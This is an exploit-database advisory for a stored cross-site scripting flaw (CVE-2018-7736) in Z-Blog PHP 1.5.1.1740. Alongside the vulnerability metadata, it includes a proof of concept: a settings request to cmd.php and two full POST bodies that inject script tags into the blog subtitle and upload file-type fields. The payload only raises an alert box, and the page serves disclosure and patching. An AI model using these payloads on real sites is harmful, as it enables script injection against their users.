Z-Blog 1.5.1.1740 XSS Vulnerability

vendor:

zblogphp

by:

zzw

6.1

CVSS

MEDIUM

Cross-Site Scripting (XSS)

CWE

Product Name: zblogphp

Affected Version From: 1.5.1.1740

Affected Version To: 1.5.1.1740

Patch Exists: YES

Related CWE: CVE-2018-7736

CPE: a:zblogcn:zblogphp:1.5.1.1740

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: None

2018

Z-Blog 1.5.1.1740 XSS Vulnerability

This is a XSS vulnerability than can attack the users. The vulnerability exists in the ZC_BLOG_SUBNAME and ZC_UPLOAD_FILETYPE parameters of the zb_system/cmd.php script. An attacker can inject malicious JavaScript code into the parameters and execute it in the user's browser.

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: Z-Blog 1.5.1.1740 XSS Vulnerability
# Date: 2018-04-03
# Exploit Author: zzw (zzw@5ecurity.cn)
# Vendor Homepage: https://www.zblogcn.com/
# Software Link: https://github.com/zblogcn/zblogphp
# Version: 1.5.1.1740
# CVE : CVE-2018-7736

This is a XSS vulnerability than can attack the users.

poc:

poc of ZC_BLOG_SUBNAME parameter:

http://localhost/z-blog/zb_system/cmd.php?act=SettingSav&token=2c7ca9a4c1c3d856e012595ca878564f

post_data:

ZC_BLOG_HOST=http%3A%2F%2Flocalhost%2Fz-blog%2F&ZC_PERMANENT_DOMAIN_ENABLE=&ZC_PERMANENT_DOMAIN_WITH_ADMIN=&ZC_BLOG_NAME=admin&ZC_BLOG_SUBNAME=Good%20Luck%20To%20You!tluf3%22%3e%3cscript%3ealert(1)%3c%2fscript%3euk095&ZC_BLOG_COPYRIGHT=Copyright+Your+WebSite.Some+Rights+Reserved.&ZC_TIME_ZONE_NAME=Asia%2FShanghai&ZC_BLOG_LANGUAGEPACK=zh-cn&ZC_UPLOAD_FILETYPE=jpg%7Cgif%7Cpng%7Cjpeg%7Cbmp%7Cpsd%7Cwmf%7Cico%7Crpm%7Cdeb%7Ctar%7Cgz%7Csit%7C7z%7Cbz2%7Czip%7Crar%7Cxml%7Cxsl%7Csvg%7Csvgz%7Crtf%7Cdoc%7Cdocx%7Cppt%7Cpptx%7Cxls%7Cxlsx%7Cwps%7Cchm%7Ctxt%7Cpdf%7Cmp3%7Cmp4%7Cavi%7Cmpg%7Crm%7Cra%7Crmvb%7Cmov%7Cwmv%7Cwma%7Cswf%7Cfla%7Ctorrent%7Capk%7Czba%7Cgzba&ZC_UPLOAD_FILESIZE=2&ZC_DEBUG_MODE=&ZC_GZIP_ENABLE=&ZC_SYNTAXHIGHLIGHTER_ENABLE=1&ZC_CLOSE_SITE=&ZC_DISPLAY_COUNT=10&ZC_DISPLAY_SUBCATEGORYS=1&ZC_PAGEBAR_COUNT=10&ZC_SEARCH_COUNT=20&ZC_MANAGE_COUNT=50&ZC_COMMENT_TURNOFF=&ZC_COMMENT_AUDIT=&ZC_COMMENT_REVERSE_ORDER=&ZC_COMMENTS_DISPLAY_COUNT=100&ZC_COMMENT_VERIFY_ENABLE=


poc of ZC_UPLOAD_FILETYPE parameter:

post_data:

ZC_BLOG_HOST=http://localhost/z-blog/&ZC_PERMANENT_DOMAIN_ENABLE=&ZC_PERMANENT_DOMAIN_WITH_ADMIN=&ZC_BLOG_NAME=admin&ZC_BLOG_SUBNAME=Good+Luck+To+You!&ZC_BLOG_COPYRIGHT=Copyright+Your+WebSite.Some+Rights+Reserved.&ZC_TIME_ZONE_NAME=Asia/Shanghai&ZC_BLOG_LANGUAGEPACK=zh-cn&ZC_UPLOAD_FILETYPE=jpg|gif|png|jpeg|bmp|psd|wmf|ico|rpm|deb|tar|gz|sit|7z|bz2|zip|rar|xml|xsl|svg|svgz|rtf|doc|docx|ppt|pptx|xls|xlsx|wps|chm|txt|pdf|mp3|mp4|avi|mpg|rm|ra|rmvb|mov|wmv|wma|swf|fla|torrent|apk|zba|gzbauckek"><script>alert(1)</script>ekkgh&ZC_UPLOAD_FILESIZE=2&ZC_DEBUG_MODE=&ZC_GZIP_ENABLE=&ZC_SYNTAXHIGHLIGHTER_ENABLE=1&ZC_CLOSE_SITE=&ZC_DISPLAY_COUNT=10&ZC_DISPLAY_SUBCATEGORYS=1&ZC_PAGEBAR_COUNT=10&ZC_SEARCH_COUNT=20&ZC_MANAGE_COUNT=50&ZC_COMMENT_TURNOFF=&ZC_COMMENT_AUDIT=&ZC_COMMENT_REVERSE_ORDER=&ZC_COMMENTS_DISPLAY_COUNT=100&ZC_COMMENT_VERIFY_ENABLE=